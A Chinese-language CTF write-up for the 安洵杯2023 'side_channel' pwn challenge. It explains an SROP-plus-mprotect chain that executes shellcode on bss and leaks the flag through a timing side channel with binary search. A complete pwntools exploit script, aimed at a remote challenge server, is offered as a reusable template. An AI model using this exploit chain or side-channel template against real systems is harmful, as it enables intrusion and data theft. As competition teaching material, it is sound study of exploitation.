當程式有辦法讀取到flag但無法將flag輸出出來時,可以採用側通道爆破flag確定其內容。
例題:安洵杯2023 side_channel,initiate!
題目本身很簡單,允許在bss上寫一大段,然後一個棧溢位。但沙箱是這個畫風:
函式里還有一個單純的mov rax 0fh
,允許了rt_stgreturn和mprotect的許可權,很明顯的提示,就是讓我們SROP之後利用mprotect改bss的執行許可權,然後在bss上執行shellcode。
具體就是在bss上佈置好SROP所需的ROP鏈,sigframe,預留好後面執行shellcode所需的棧,"./flag"以及shellcode,後面的讀入再開始棧遷移。執行的時候先從棧段遷移到bss上,做mov rax 0fh
之類的設定sigframe,sigframe設定成跳到mprotect,把bss的執行許可權改出來,然後rsp設定到之前預留好的bss上的"棧"上。rip做完syscall緊接著一個ret就可以返回到shellcode上,繼續往高地址執行;rsp往低地址增長即可。
buf = 0x404060
bss_H = 0x405000
rax_15_ret = 0x401193
leave_ret = 0x401446
syscall_rbp_ret = 0x40118a
call_syscall = 0x401186
payload = b""
payload = payload.ljust(0x400,b'\0')
sigframe = SigreturnFrame()
sigframe.rax = 10
sigframe.rdi = 0x404000
sigframe.rsi = 0x2000
sigframe.rdx = 7
sigframe.rsp = buf+0x508
sigframe.rbp = buf+0x508
sigframe.rip = call_syscall
payload+= p64(rax_15_ret) + p64(syscall_rbp_ret) + bytes(sigframe)
payload = payload.ljust(0x500,b'\0')
payload+= p64(buf+0x518) + b"./flag\0\0"
payload +=asm(sh.format(index,mid))
# p = process("./chall")
p = remote("47.108.206.43",25678)
p.recvline()
p.send(payload)
payload = b'a'*0x2a + p64(buf+0x400-8) + p64(leave_ret)
T = time.time()
# gdb.attach(p)
p.recvline()
p.send(payload)
然後開始執行shellcode,做我們的側通道。在shellcode中把flag讀到記憶體中,然後用這樣的彙編程式碼來猜測字元:
mov rax,0
mov rdi,3
mov rsi,0x404600
mov rdx,0x40
syscall
mov rax,rsi
mov bl,byte ptr [rax+{}]
cmp bl,{}
ja $-3
即,拿讀到的第i個字元和猜測字元j比對,若flag[i]>j則進入迴圈卡死,若不同則執行到shellcode結尾爆sigsegv,如是二分查詢flag的每個字元。由於遠端互動還需要時間加上py效率可疑,而且判斷timeout的時間必須要給充足,逐個匹配迴圈查詢太慢了基本沒法用,二分查詢十幾秒就能跑出一個字元來,速度可以接受。當時打遠端看見flag一個一個出來了還是挺激動的(
記一下完整程式碼,作為側通道板子:
from pwn import*
context.arch = 'amd64'
s = "{}=-abcdefghijklmnopqrstuvwxyz0123456789"
list = [ord(x) for x in s]
sh = """
mov rax,2
mov rdi,0x404570
mov rsi,0
mov rdx,0
syscall
mov rax,0
mov rdi,3
mov rsi,0x404600
mov rdx,0x40
syscall
mov rax,rsi
mov bl,byte ptr [rax+{}]
cmp bl,{}
ja $-3
"""
#若猜測的字元小於真實字元則會被卡死
index = 0
flag=""
while(1):
l=32
r=126
ans=0
while(l<=r):
mid = (l+r)>>1
buf = 0x404060
bss_H = 0x405000
rax_15_ret = 0x401193
leave_ret = 0x401446
syscall_rbp_ret = 0x40118a
call_syscall = 0x401186
payload = b""
payload = payload.ljust(0x400,b'\0')
sigframe = SigreturnFrame()
sigframe.rax = 10
sigframe.rdi = 0x404000
sigframe.rsi = 0x2000
sigframe.rdx = 7
sigframe.rsp = buf+0x508
sigframe.rbp = buf+0x508
sigframe.rip = call_syscall
payload+= p64(rax_15_ret) + p64(syscall_rbp_ret) + bytes(sigframe)
payload = payload.ljust(0x500,b'\0')
payload+= p64(buf+0x518) + b"./flag\0\0"
payload +=asm(sh.format(index,mid))
# p = process("./chall")
p = remote("47.108.206.43",25678)
p.recvline()
p.send(payload)
payload = b'a'*0x2a + p64(buf+0x400-8) + p64(leave_ret)
T = time.time()
# gdb.attach(p)
p.recvline()
p.send(payload)
try:
cur = p.recv(timeout=1)
print(str(time.time()-T))
if(time.time()-T>0.9):
print("Too Small Too Small Too Small Too Small Too Small Too Small ")
l=mid+1
else:
print("Big or Equal Big or Equal Big or Equal Big or Equal ")
ans=mid
r=mid-1
except:
print(str(time.time()-T))
print("Big or Equal Big or Equal Big or Equal Big or Equal ")
ans=mid
r=mid-1
p.close()
flag+= chr(ans)
print("Now Ans Now Ans Now Ans Now Ans Now Ans Now Ans Now Ans Now Ans " + flag)
index = index+1
if '}' in flag:
break
print(flag)